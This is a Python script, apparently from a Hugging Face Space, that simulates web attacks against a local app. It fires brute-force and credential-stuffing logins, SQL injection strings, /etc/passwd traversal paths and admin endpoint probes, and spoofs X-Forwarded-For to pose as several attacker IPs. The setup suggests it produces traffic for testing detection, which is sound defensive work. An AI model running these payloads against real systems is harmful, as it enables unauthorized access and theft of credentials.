Spaces:
Runtime error
Runtime error
File size: 2,087 Bytes
4431575 e927afb 4431575 3ff9f99 c3e6acc e927afb 4431575 518afa6 e927afb 4431575 502d891 4431575 e927afb 4431575 e927afb 4431575 c3e6acc e927afb c3e6acc e927afb c3e6acc e927afb c3e6acc 502d891 c3e6acc e927afb c3e6acc 5b93dcc e927afb 5b93dcc e927afb 5b93dcc e927afb 5b93dcc e927afb 5b93dcc 518afa6 c0ff0fb d9a89dc c0ff0fb | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | import requests
import time
import random
TARGET = "http://127.0.0.1:7860"
# Multiple attacker IPs
ATTACKER_IPS = [
"192.168.1.10",
"192.168.1.11",
"192.168.1.12",
"10.0.0.5",
"172.16.0.3"
]
def brute_force():
ip = random.choice(ATTACKER_IPS)
for i in range(5):
requests.post(
f"{TARGET}/login",
data={
"username": "admin",
"password": "wrong"
},
headers={"X-Forwarded-For": ip}
)
time.sleep(0.3)
def port_scan():
ip = random.choice(ATTACKER_IPS)
endpoints = ["/admin", "/config", "/backup"]
for ep in endpoints:
requests.get(
f"{TARGET}{ep}",
headers={"X-Forwarded-For": ip}
)
def credential_stuffing():
ip = random.choice(ATTACKER_IPS)
passwords = ["admin", "password", "123456"]
for p in passwords:
requests.post(
f"{TARGET}/login",
data={
"username": "admin",
"password": p
},
headers={"X-Forwarded-For": ip}
)
def sql_injection():
ip = random.choice(ATTACKER_IPS)
payloads = [
"' OR '1'='1",
"' OR 1=1 --",
"' UNION SELECT * FROM users --"
]
for payload in payloads:
requests.post(
f"{TARGET}/login",
data={
"username": payload,
"password": payload
},
headers={"X-Forwarded-For": ip}
)
def directory_traversal():
ip = random.choice(ATTACKER_IPS)
paths = [
"/../../etc/passwd",
"/../config",
"/../../backup"
]
for path in paths:
requests.get(
f"{TARGET}{path}",
headers={"X-Forwarded-For": ip}
)
def simulate_attack():
attacks = [
brute_force,
port_scan,
credential_stuffing,
sql_injection,
directory_traversal
]
selected = random.sample(attacks, k=2)
for attack in selected:
attack()
|